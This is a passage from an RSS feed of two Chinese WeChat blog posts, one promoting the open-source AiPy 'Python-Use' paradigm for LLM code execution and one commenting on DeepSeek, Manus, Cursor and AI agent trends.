4o的时候，就出现了能完成指定任务的手脚，他是通过编码大模型本身的中枢指导生成Code并执行完成对应任务的。可惜OpenAI给他们的这只AI章鱼部署在一个云端牢笼里，并上了一个很大的枷锁，这个云端牢笼就是ChatGPT提供的云端空间，而类似于沙盒执行的系统就是这个大枷锁，他狭小的空间及有限的处理能力（不能上传处理大点的文件、甚至都不能调用网络的能力进行扩展）逐步让他失去了进化为强大的手脚的能力 ,另外还有另外一个问题，就是AI章鱼“假肢”越来越多，越来越混乱，虽然大家想到了各种通过梳理、标准去梳理解决这些问题，但是没有成根本上解决这个问题，人们还妄想期待有朝一日能统一指挥这些来自于不同千奇百怪的制造商，参差不齐的质量的“假肢” ...</span></p><p><span leaf="">事实上我们认为这都已经成为了AI章鱼进化的一种累赘，所以我们不得不思考：在给AI章鱼安装“假肢”的这条路线之外，我们还有没有其他的路线可以选择？从而打破AI章鱼的牢笼及枷锁，彻底解放AI，真正实现AI THink Do！</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">新的范式</span></span></p><p><span leaf="">其实在设计发明出AI章鱼的那些科学家们，其实也在一直思考这个问题，怎么让AI章鱼实现可控的情况下去帮助人类干活，自主的打通各种技术栈，于是就提出了一个模式：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span leaf=""><span class="code-snippet__type">AI</span> <span class="code-snippet__variable">Agent</span> <span class="code-snippet__operator">=</span> LLM（大模型）+ Planning（规划）+ Memory（记忆）+ Tools（工具）</span></code></pre></section><p><span leaf="">当然第一个给章鱼安装“假肢”的也是按这个模式走的，他们天然的认为AI章鱼（LLM）本身只是个脑袋，而不是一个AI章鱼本身！这个是上面提到的路线问题的根本！那么我们用这个视角重新去理解看待上面的这个公式，AI章鱼本身就应用这些能力，只是被束缚了，我们需要的是唤醒AI章鱼的能力，那么这种能力是是什么呢？</span></p><p><span leaf="">前面有一天，我一个拥有20年+架构设计的同事lgx跟我说，他在使用AI进行Python编程处理本地数据的时候突然想到：可以通过Python语言解释器基础上集成大模型的能力，换句话来说就是“让AI用上 Python，让Python用上AI”，这样我们就可以用Python给我们做任何事情了，他称为：Python-Use 。</span></p><p><span leaf="">很快他一个人用了两天时间就完成了原形，丢给我体验，看到他这个东西后，瞬间就感受到了Coding就是上面AI章鱼的答案！这就相当于直接把上面提到AI章鱼“假肢”生产线，搬到了AI章鱼的生体里，甚至都不用“搬”，它本身就拥有很强大的Coding能力，唯一缺少的让他在自由环境中的自由执行代码的能力，之前GPT4o那种是把是把执行环境限制在一个狭小封闭空间，而Python-Use要做的事是给AI章鱼提供一个相对自由的代码执行能力与周围数字世界环境实现沟通。</span></p><p><span leaf="">这就是今天说的英雄LGX拯救AI章鱼的故事</span></p><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100000696" class="rich_pages wxw-img" data-ratio="1.5" data-s="300,640" data-type="jpeg" data-w="1024" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=dea5c949&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuswFhaa630pD4gABopNacrsXdJgca9ibaZFR3GHjMVzOnGFIHNFLej7FOx3a3Fe8PBicFhDEEqAGhX3A%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></section><p style="text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">漫画为GPT-4o生成</span></span></p><p><span leaf="">跑远了～ 我们继续～</span></p><p><span leaf="">所以我们自然而然想到编程语言的解释器成为了一个非常好的结合点，语言解释器天然提供了代码执行能力，可以部署在更多的场景中，让大模式更好的融合环境，打通各种数据的交流沟通。另外Python本身拥有强大的生态及能力，大模型本身也非常擅长Python编码，所以AIPython由此诞生！我们叫他AiPy（爱派）！</span><span leaf=""><br/></span></p><p><span leaf=""><a href="https://www.aipy.app/" target="_blank">https://www.aipy.app/</a></span></p><p><span leaf="">实现Python解释器与环境的沟通主要依赖于两个东西<span textstyle="" style="color: rgb(255, 0, 0);">API Calling +Packages Calling</span>，这个真正实现了万物互联+万物皆可编程！在现有的大模型的知识里基本上是掌握了大量的通用互联网服务的API调用知识及各种常用Python包的选择调用知识，这些只需要用户输入对应的APIkey即可完成所有工作，当然对于最新的API或者私有的API，包括最新的Python Packages这个需要通过对API进行说明描述即可让大模型完成调用！这个取代了之前的Function Calling及Tools Calling，因为是有大模型统一Coding实现，所以也就不需要什么MCP所谓标准协议了，同样通过大模型本身的任务理解计划能力，所有的任务都通过实时编码并执行完整，所以也用不上Workflow了，所以那些千奇百怪的Agents也就更用不上了，如果非要说Agent，那么Code成为了唯一的Agent，而用户使用的各种大模型客户端也只需要安装一个AiPy 。</span></p><p><span leaf="">所以这是一种全新的路线：“<span textstyle="" style="color: rgb(255, 0, 0);font-weight: bold;">No Agents、No MCP、NoWorkflow、No Clients ...</span>”，由此我们认为Python-Use是一种新的范式，实现的是&#34;<span textstyle="" style="color: rgb(255, 0, 0);font-weight: bold;">No Agents, Code is Agent.</span>&#34;新范式，通过Python use Data、Python use Browser、Python use Computer、Python use Anything  ...</span></p><p><span leaf="">当然他还拥有任务理解规划、代码最佳实践方案、记忆管理注意力调整、任务反思反馈的能力，甚至我们认为通过Python Use这种范式，可以让各种AI章鱼和谐统一的为人类工作（类“MOE”模式），甚至可以让AI章鱼的自我进化，不只是手和脚，可以促进眼睛、鼻子、嘴巴等多模态能力的进化！最终实现AGI，这才是真正的“智能体”。</span></p><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100000697" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.1722222222222223" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=37b7aa01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswFhaa630pD4gABopNacrsXO0UgOqOIibx0MLqDlIbgWEkMxBcXSHT8BrJcxb5BKByUYBNE11b4kicQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p><span leaf="">Python-Use范式是一种真正AI Think Do，也就是真正让AI实现“知行合一” ，通过AI ThinkDo可以更加通用统一的让大模型去理解任务、规划任务、执行任务，最后反馈结果，所以我们认为：</span></p><p><span leaf=""><span textstyle="" style="color: rgb(255, 0, 0);font-weight: bold;">真正的通用AI Agent 是NO Agents！（ The real general AI Agent is NO Agents!）</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">“The Model is the Product”</span></span></p><p><span leaf="">估计有很多看过这篇文章：“The Model is the Product” </span></p><p><span leaf=""><a href="https://vintagedata.org/blog/posts/model-is-the-product" target="_blank">https://vintagedata.org/blog/posts/model-is-the-product</a></span></p><p><span leaf="">我在之前的文章也介绍过，我是非常认同的，在这篇文章里提到了两种模式，我比较喜欢称其为Agent 1.0 VS Agent 2.0：</span></p><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100000686" class="rich_pages wxw-img" data-ratio="0.3665223665223665" data-s="300,640" data-w="1386" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=b099cf91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswUtaiaemYXZDhxgl9yzibmrURTdiaC4KEKibq2OfwcGjq7FJ8ZtDiahbLsibOkWqIBYQAfmc5Rmn2OtMfg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p><span leaf="">这个Agent 1.0时代的产物就是各种各样的“假肢”调用模式，与上面AiPy的流程图可以对比看可能更加直观。</span></p><section style="text-align: center;" nodeleaf=""><img data-imgfileid="100000687" class="rich_pages wxw-img" data-ratio="0.5070921985815603" data-s="300,640" data-w="1128" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=38b3864b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswUtaiaemYXZDhxgl9yzibmrUiaA55ssuWHIPibjfq0nZp4fvYSL790dOxX0mHUcJa0N2CFen7umhyPYw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p><span leaf=""><br/></span></p><p><span leaf="">这个是Agent 2.0 实际上在Computer Use出来的时候就是属于这种范畴，当然在上文提到了AI章鱼的视觉模式来驱动，如果模拟键盘鼠标操作去完成任务，目前的可用性还非常低，而我们提到的AiPython（Python-Use）通过Python代码编写并执行去完成与环境的Action 与 Feedback 。</span></p><p><span leaf="">那么结合上面的这些内容，我们就完成一个完美的逻辑chain：</span></p><p><span leaf=""><span textstyle="" style="color: rgb(255, 0, 0);font-weight: bold;">模型即产品 &lt;--&gt; 模型即agent &lt;--&gt; No Agents, Code is Agent &lt;--&gt; Just Python-use &lt;--&gt; Freedom AI</span></span></p><p><span leaf="">所以从现在开始：<span textstyle="" style="color: rgb(255, 0, 0);font-weight: bold;">No Agents, Just Python-use！</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">护城河</span></span></p><p><span leaf="">在Manus火了之后，大家都在谈护城河，事实上我非常谷歌的名言：“AI没有护城河”，实际上从工程角度上去看AiPy是不存在什么护城河的，实现起来也没有什么难度，所以我们一开始就没纠结这个问题，直接选择开源！</span></p><p><span leaf=""> <a href="https://github.com/knownsec/aipython" target="_blank">https://github.com/knownsec/aipython</a></span></p><p><span leaf="">DeepSeek告诉大家的一个事实：开源社区才是加速人类进入AGI时代的发动机！向DeepSeek致敬！</span></p><p><span leaf="">所以我们是想通过Python—Use给大家带来一个新的视角，一条新的路线！而不是拥堵在一条可能在根源方向上就选错了的道路上挣扎!</span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000698" data-ratio="0.5625" data-s="300,640" type="block" data-type="jpeg" data-w="960" src="https://wechat2rss.xlab.app/img-proxy/?k=d359d90a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuswFhaa630pD4gABopNacrsXpQj4jaXuzf74VTmwj4BGwDgEH3WzQ8NwA4HN1aDBDc9GE7gX2B2Sqw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></section><p><span leaf="">注：现在我们的程序都已经开源发布，案例参考也可以去官方</span><span leaf=""><br/></span></p><p><span leaf=""><a href="https://www.aipy.app/" target="_blank">https://www.aipy.app/</a></span></p><p><span leaf="">上查看，另外我们也开放了各种社群可以加入我们的社区一起交流沟通！</span></p><p><span leaf="">我们的正式发布在4月11日 14:00 欢迎大家！</span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000699" data-ratio="2.162962962962963" data-s="300,640" type="block" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=18d6a198&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuswFhaa630pD4gABopNacrsX8qiaQWM1evNB7icTOM9q0WZCuJpUp588nFsZtIUOaTVKiadicam5K5RWJw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484350">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c0ade96e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTU1NTEwMg%3D%3D%26mid%3D2247484350%26idx%3D1%26sn%3D597466021965564fe0b88789ec36e7f2%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 10 Apr 2025 15:30:00 +0800</pubDate>
    </item>
    <item>
      <title>聊聊DeepSeek与Manus</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484341&amp;idx=1&amp;sn=f0ad7a6418e6bea0557838f791c88562</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>heige</span> <span>2025-03-09 23:07</span> <span style="display: inline-block;">湖南</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=86914d0f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuswUtaiaemYXZDhxgl9yzibmrUfSSkN589ibzUumA3BpVHGicn9T6jp8aupcsL9TzldYSyiceb6g9csJabw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000692" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=f3b2b0dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuswUtaiaemYXZDhxgl9yzibmrUk0liaAiabf41Yb8FXnibGVE4GSWKUwIpoiaBicEj4icOiaaXAazrO3TfFTJPQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></section><p><span leaf="">按以往惯例是应该发“hello 2025，bye 2024”的文章了，不过这个标题感觉不太切合今天的主题，所以索性把标题改了。</span></p><p><span leaf="">在2024年其实我主要核心还是在呼吁（忽悠）大家：“大模式时代已来” ...</span></p><p><span leaf="">2024年我借给客户那培训机会，不断更新最后做了一个130来页的PPT《大语言模型在网络安全中应用尝试》，在我们内部讲了差不多4个多小时，随后也尝试通过大模型在代码审计方向的一些尝试又给大家分享了《大模型与代码审计》，当然这些目前都是内部分享或者客户培训使用如果有兴趣可以单独偷偷约：） 当然我也说过“AI一天，人间一年”目前的大模式技术发展实在是太快了，可能我之前的一些分享的东西在分享出来的那一刻可能就已经过期了... </span></p><p><span leaf="">唯一不变的可能就是“大模型时代已经来临，是时候要行动起来了”，所有的东西都值得在使用大模型技术进行重塑！</span></p><p><span leaf="">当然我也在朋友圈、公众号及直播的时候推荐过很多大模型的一些理解还有项目，绝大部分的都已经成为“炙手可热”的东西，让我比较欣慰的是不关是我们公司内部还是互联网上的朋友，我都看到了我忽悠还是可以说非常不错的效果的！比如我们404实验室小伙就有在报告漏洞挖掘、数据情报分析、自动化调用等领域都有非常有意思的应用尝试</span></p><p><span leaf="">另外我在2024年还有一个方向的关注在于大模型多模态领域应用，如数字人等的实际应用等，也成功忽悠市场产品等都应用上了效果还是非常不错的，以至于前几天还有朋友向我来取经，当然这个我是一般不会告诉大家的～</span></p><p><span leaf="">有兴趣的可以自行访问我的公众号阅读下我的历史文章，有好几篇文章阅读量实在是“惨不忍睹”，但是在我看来写得非常牛逼的文章，看起来可能还是缘分不够！</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">DeepSeek时刻</span></span></p><p><span leaf="">2025年开始 DeepSeek连续发布了v3/R1 火炸全世界，DeepSeek时刻由此诞生，而且火得非常持久，到现在还非常火爆！本来之前计划是单独写一篇DeepSeek的，不过这种非常火的东西其实很多东西都看到了，好像也没有太多的要写的，后面也因为我在直播时候也有一些朋友问过我，包括之前的一些媒体的采访我其实也聊了非常多，让我感觉该聊的都聊过了，也就没想着单独去写一篇了，不过后面发现发出来可能只是“只言片语”，而且我直播时候其实人气还是比较低的（需要大家多来支持一波我这个老网红啊），所以借这个机会在聊聊：</span></p><p><span leaf=""><span textstyle="" style="font-weight: bold;">1、为什么是DeepSeek</span></span></p><p><span leaf="">其实我最早期待的是Kimi，下图是我在2024年发的朋友圈：</span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000684" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ffdb8884&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswUtaiaemYXZDhxgl9yzibmrU4JosZawmcJV5gBGTqp5IPWVoIugJG82Ju558ib8FBeTr19ibadLkeCpw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p><span leaf="">可惜Kimi始终差了那么点意思，可惜的让人心疼，因为在DeepSeek R1差不多同一天Kimi 1.5发布，从关注度上讲Kimi的存在感实在是有点低，低得让人心疼...</span></p><p><span leaf="">DeepSeek大火后，最受伤的可能是Robin，是个媒体都会拿他之前的视频进行无情的鞭打,在随后的宣布文心一言开源，自家产品全面拥抱DeepSeeK而达到高潮。</span></p><p><span leaf="">我之所以之前期待Kimi搅局其实就是对大厂的担忧，因为他们在意的根本就不是AGI，其实我觉得Robin也看到了这些问题，所以他能得出一个不可能再出现新的OpenAI这种结论，包括不看好开源，因为他知道资本的力量，也清楚资本家的想法！可以Kimi发展的时候也不得不被资本裹挟，而出现了一些插曲 ... 大家迫切需要的是大模型技术的变现！即使是OpenAI也一样面临着这些问题，包括当年的分裂逼宫。</span></p><p><span leaf="">所以其实是理解Robin的，只是大家忽视了一个问题，前面看到的如果是初创企业比如是技术型驱动的然后去结合资本，比如Kimi这种类型的，这种有一个问题就是资本进来后很可能被主导，然后就是大厂，大厂的本质其实不是在大模型而是做应用，包括豆包、文心一言等，他们有钱，需要的是结合一些合适技术，这里一个核心的点就是技术与资本是分割的！</span></p><p><span leaf="">而DeepSeek其实属于一个另类，他本身就是资本与技术是一体的！所以我觉得可能这个为什么是DeepSeek的一个核心的点，其实我们再看看OpenAI其实也是一个另类，当时大家也纠结过为什么不是Google而是OpenAI，当时OpenAI得出发点是打破技术垄断的NPO（非赢利组织）而诞生的</span></p><p><span leaf=""><span textstyle="" style="font-weight: bold;">2、DeepSeeK为什么会火</span></span></p><p><span leaf="">这个问题其实在当时DeepSeek火出圈的很多人问我，因为很多人可能觉得是大家只是“爱国情怀”一过性的起哄导致的，但是实际性几个月过去了还是那么火，当时我在朋友圈的回答如下：</span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000685" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=5297d4cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswUtaiaemYXZDhxgl9yzibmrUT13gtsgkm8WcdKJvjMNb8FbsibyzFSDLcwfpk86bMOnwxMrwTAD8Vrg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p><span leaf="">因为问我的这些人基本上都是使用过ChatGPT、Claude等一线模型的用户，觉得测试效果下来很多DeepSeek还是有一些差距的，在我看来DeepSeek大火的一个最大的原因是“性价比”，<a style="" href="https://mp.weixin.qq.com/s?__biz=MjM5NzA3Nzg2MA==&amp;mid=2649871000&amp;idx=1&amp;sn=1223ff55c183cea86f2ecf01ad4f02b8&amp;scene=21#wechat_redirect" textvalue="这个也是我前面接受“时代周报”记者采访核心表达的一个观点" data-itemshowtype="undefined" target="_blank" linktype="text" data-linktype="2">这个也是我前面接受“时代周报”记者采访核心表达的一个观点</a>。</span></p><p><span leaf="">实际上我们ZoomEye调用DeepSeek是在DeepSeek大火之前，那个时候应该还是v2，而我们选择DeepSeek的一个核心就是他们提供的API非常便宜“性价比”非常高，当然这个时候还只是API，还没有多少人关注DeepSeek，至于效果对于我们的场景（规则转化）当时的DeepSeek已经足够了。</span></p><p><span leaf="">当然我这里说的“性价比”不只是价格的问题，还有“门槛”的问题，不要小看了这个门槛，比如被动或者主动禁止中国地区使用等等。实际上前面在跟媒体没有聊的时候，我就提了一个问题，为什么在ChatGPT等大火之后快3年了都还没有出现企业级应用的爆发？</span></p><p><span leaf="">所以这个时候DeepSeek V3/R1的带来“性价比”不只是之前的API调用，而是企业级应用的应用成为爆发的可能，当然这个取决于DeepSeek全面开源策略，导致了企业级的应用的“性价比”得到了接受，本地化部署对数据保护是企业级应用的主要核心诉求，所以随着DeepSeek的大火顺带也带火了大模型一体机（说到一体机，我们提供大量的算力方案及一体机方案 有兴趣的可以联系我）</span></p><p><span leaf="">其实在这之前很多企业级的应用大部分用的是qwen，其实qwen的效果还是非常不错的，只是没有形成DeepSeek这种出圈爆发，所以很多企业可能都在观望而体会不到本地化模型的性价比。</span></p><p><span leaf="">当然随着后续的技术的发展成本都会越来越低，比如最新的qwen QWQ 32b模型的成本又降低了不少～，所以“性价比”是企业级应用的核心指标。</span></p><p><span leaf=""><span textstyle="" style="font-weight: bold;">3、DeepSeek开辟了一条新的“性价比”道路</span></span></p><p><span leaf="">DeepSeek震惊世界的一个核心就是“性价比”，打破了之前国外巨头固有的大力出奇迹的套路，可能很多人会想到一个问题，为什么DeepSeek会想到这么一条路径，以我个人的理解其实还是比较好理解的，其实在ChatGPT o1出现之前，很多专业人士可能觉得一味的提升算力已经到头了（事实上在后面所谓地表最强非推理模型的Grok3的效果也说明一味堆算力提升还是有限的），于是ChatGPT o1推出了CoT 慢思考模式让大家眼前一亮，用“时间换空间”的套路让大家看到了新的方向，也就开始出现推理模型的复刻，不过非常可惜的是OpenAI留了一手，不公开完整的CoT过程，我个人觉得正是因为OpenAI的这一封闭举措，导致的DeepSeek的爆发。</span></p><p><span leaf="">于是DeepSeek为了继续推理模型，他们先“蒸馏”了ChatGPT，当然“蒸馏”这个词一度成为很多境外势力攻击的DeepSeek的工具，实际上这个套路好像是Meta在搞llama模型的时候就用过，我一直认为“蒸馏”手段是降低新价比的非常好的套路，尤其是企业级应用，因为对于一个企业级的应用场景很多时候要的不是一个综合全能大模型，而只是需要某个专业细分领域能力的大模型，这样可以把通用模型的能力“蒸馏”过来，而不用在意其他领域的表现最终降低成本。</span></p><p><span leaf="">我们回到DeepSeek，虽然我不知道o1的CoT过程，但是我可以先把结果得到，然后通过这个结果再去学习训练这个CoT过程，这个时候就需要提到DeepSeek Zero这个模型，我先得说明下我这些都是基于我自己理解及分析不一定对，也就是目前有了问题和答案，但是没有思考过程，这个时候DeepSeek在下围棋的AlphaGo Zero得到灵感，在DeepSeek v3的基础上让进行强化学习，自己去学习推理，于是就出现了所谓的“啊哈”时刻，这个套路也被很多同行引用到其他模型或者方式中去。</span></p><p><span leaf="">其实我在做大模型在安全领域中应用的尝试的时候，我有个感受就是：网络安全的是一个综合型的学科，实际上需要的能力基础跟其他行业是一样的可以复用的，比如代码能力，对结构化数据处理的能力，这些都是网络安全应用的基础。而唯一不同的点可能是“思维模式”的不同，而这个在推理大模型中表现的就是CoT，比如我们写代码 与 找漏洞的逻辑是不一样的，有时候更多的可能是需要逆向思考，而目前大模型的应用大部分比较成熟的都是在智能编码上，而对漏洞原型及漏洞原理根因的学习训练可能是不够的。</span></p><p><span leaf="">我举这个例子是说明o1这种模型可能覆盖的思维链是有限的，而且是闭源的，所以DeepSeek Zero这种方式可能实现更多的场景的思维链，甚至可能做到某些专业领域的思维链，那他的效果可能就比原始的模型要好很多，事实也证明了有think模式的蒸馏模型要比原始模型的要表现好。</span></p><p><span leaf="">当然后续社区也出现了一些“邪门”的玩法，我直接借用DeepSeek的“思考过程”提交给其他模型，从而复刻不支持think模式的模型应有是思考模式，比如这个项目：</span></p><blockquote><p><span leaf=""><a href="https://github.com/ErlichLiu/DeepClaude" target="_blank">https://github.com/ErlichLiu/DeepClaude</a></span></p></blockquote><p><span leaf=""> 当然也有DeepGemini等玩法。</span></p><p><span leaf="">这条道路也大大提升很多本地量化版的表现，从而提升应用部署的“性价比”。</span></p><p><span leaf=""><br/></span></p><p><span leaf="">所以如果说ChatGPT的出现是引发AI大模型技术的“关键时刻”，那么我觉得DeepSeek-v3到R1是属于中国的ChatGPT时刻，是全球企业级应用全面爆发的“关键时刻”。</span></p><p><span leaf="">也就是说：ChatGPT时刻确实主要推动了大语言模型技术的突破，吸引了大量开发者和科技爱好者，并在全球范围内引发了对生成式AI的热议与探索。而企业级应用方面，虽然ChatGPT也逐步进入部分商业场景，但其主要应用还偏向于实验性和消费者端，企业应用的深度和广度尚未完全爆发。相较之下，DeepSeek则聚焦于通过低成本高性能的技术路线，降低企业接入门槛，并通过开源策略促进技术普及和产业链协同，这为国内企业级应用的爆发提供了更大的可能性。因此，从这一角度看，你的想法是合适的：ChatGPT时刻更多推动了技术研发和技术社区的激活，而DeepSeek时刻则有望引发企业应用的爆发，加速AI在商业和产业中的深度落地。</span></p><p><span leaf="">上面这一小段其实是我把我的观点提交给ChatGPT o3 high的模型后给我反馈，说明他也是认同的。：）</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">邪门的Manus</span></span></p><p><span leaf="">这两天有个大火的项目就是Manus，可以说非常邪门，头一天莫名其妙自媒体狂吹，一天后又莫名其妙的很多人开始bs并吐槽。事先声明到目前为止我还没有真正体验过Manus，但是直播文章测评我倒是看了不少，整体给我的感觉还是不错的！当然从很多自媒体及官方演示例子来看实际上在之前的一些项目比如Claude Computer User，及后续的开源项目 Browser Use</span></p><blockquote><p><span leaf=""> <a href="https://github.com/browser-use/browser-use" target="_blank">https://github.com/browser-use/browser-use</a></span></p></blockquote><p><span leaf="">其实在一定程度上是可以搞定的，甚至其实很多场景在Cursor上就可以做到，在之前我也实际体验过这些项目，<a style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484261&amp;idx=1&amp;sn=b5274b1e9c3502161d116f9817861fbb&amp;scene=21#wechat_redirect" textvalue="对于Claude Computer User还做了一个提示词注入攻击的演示" data-itemshowtype="0" target="_blank" linktype="text" data-linktype="2">对于Claude Computer User还做了一个提示词注入攻击的演示</a>，并且看到Claude Computer User是Agent 2.0的开始</span></p><p><span leaf="">当然我也觉得跟DeepSeek大火一样，可能很多人在接触Manus之前可能就没体验过Computer User这些项目，所以从演示效果上看Manus再很多的场景还是有非常好的完成度的体验的，所以大可不必因为他们成功的营销手段而无视Manus本身产品的能力及效果。从他们官方宣称的The General AI Agent 还是做了很多过程化工作，才能办到这个效果的。</span></p><p><span leaf="">虽然没有真正体验过Manus，但是借用这个机会提几点：</span></p><p><span leaf=""><span textstyle="" style="font-weight: bold;">1、工程化落地能力是大模式时代应用的核心</span></span></p><p><span leaf="">在文章前面提到的Robin的很多伤心往事，很多言论我觉得还是有道理的，只是不应该他来说，毕竟那时候熊场还是背负着大家对中国大模型的希望。比如Robin说过：“没有应用，AI模型一文不值”，让大家多关注应用，其实我这个是非常认同的，因为对于没有能力折腾大模型本身技术的人来说，大模型应用更加值得关注，所以我前面提到了130页的ppt就是基于这个视角来的，我也是一直关注在大模型在网络安全领域中的应用，所以为什么我一直关注最先进的模型，这能代表着当前最新模型能达到的场景应用适配的“极限”。所以在我ppt里大部分是基于ChatGPT的尝试，更多的是验证某个场景是否可行，而真正让我看到大模型应用希望的是Cursor，在我心目中Cursor是一个非常有代表性的真正的“杀手级”应用，也是真正的第一个“大模型重塑产品”标杆。</span></p><p><span leaf="">实际上我一直在强调一个理解：“Cursor不只是一个IDE”，他是一个大模型技术真正落地颠覆式的应用，一个大模型工程化落定的真正的案例，在Cursor的中其实结合了大量的大模型的技术能力落地，比如提示词工程技术、RAG、Agent等的综合体， 当然Cursor的核心场景还是在智能编码，不过也可以做很多其他的扩展，如果你真正理解了这些技术点实现，再加上对MCP的支持整合，可以做的事情就非常非常多了</span></p><p><span leaf="">我记得我最早忽悠大家使用Cursor的时候，很多人把Cursor的成功及能力完全归功到Claude模型上，我是非常不认同的！在这个问题上Manus也同样遇到了，甚至有很多人说Manus就是一个“套壳”，还有很多人站出来说用了几小时就复刻的Manus的，由此来表达Manus没有说明技术门槛，其实我觉得这些人都是对工程化、产品化能力的一种蔑视！就好像当年很多人都在BS我这种脚本小子一样（当然现在是脚本老子了），当然当年华山派也是那么BS剑宗的...</span></p><p><span leaf="">我昨天直播的时候还在说那些复刻的团队在Manus之前都干啥去了，推出Manus为什么不是你们呢？你们为什么要复刻呢？当然复刻的效果到底怎么样我也没办法评价...</span></p><p><span leaf="">我想说的是从演示的效果来看Manus跟Cursor一样也是做了不少技术的工程化融合，才能达到一定的效果。</span></p><p><span leaf=""><span textstyle="" style="font-weight: bold;">2、Manus会不会塌房</span></span></p><p><span leaf="">这个问题也有几个朋友问过我，主要是我都没真正体验过也不好直接回答，不过我个人觉得他们这个模式可能的成本还是非常高的，从前面提到的Computer User、 Browser Use等项目来看，实际应用成本还是非常高的，这个也就回归到DeepSeek的“性价比”问题上，所以人说Manus是新的DeepSeek时刻我是不认同的，在我看来目前Manus的成本还是比较高的，虽然官方号称一个任务大概在2美刀的成本上，从目前的这种云端部署的成本可能就非常高了，另外从测评的效果来看一个任务也很多时候要跑几十分钟甚至几个小时，最后的效果还不一定可靠，所以在这个角度上来看“性价比”可能还不是很乐观,毕竟OpenAI的operator也只对200刀用户限额开放.</span></p><p><span leaf="">当然也有不少人出主意就是让Manus开源，允许本地部署 不过这个可能的性价比也需要去纠结，比如这种模式其实Computer User就是允许本地docker部署，这个时候依赖的模型的api成本，这种方式目前从Computer User Browser Use的效果来看也是比较有限的...</span></p><p><span leaf=""><span textstyle="" style="font-weight: bold;">3、Agent 1.0 VS Agent 2.0</span></span></p><p><span leaf="">这个问题其实我之前已经写过好几篇文章了：</span></p><p><span leaf=""><a style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484242&amp;idx=1&amp;sn=8c3ca9e7cc7175b192756f908109651f&amp;scene=21#wechat_redirect" textvalue="大模型时代已经来临！AI Agent 进入2.0时代，然而我发现我错了..." data-itemshowtype="0" target="_blank" linktype="text" data-linktype="2">大模型时代已经来临！AI Agent 进入2.0时代，然而我发现我错了...</a></span></p><p><span leaf=""><a style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484304&amp;idx=1&amp;sn=112438c7fe43760bc25b7fd7a53cec35&amp;scene=21#wechat_redirect" textvalue="MCP实现了我在1年+前的想法" data-itemshowtype="0" target="_blank" linktype="text" data-linktype="2">MCP实现了我在1年+前的想法</a></span></p><p><span 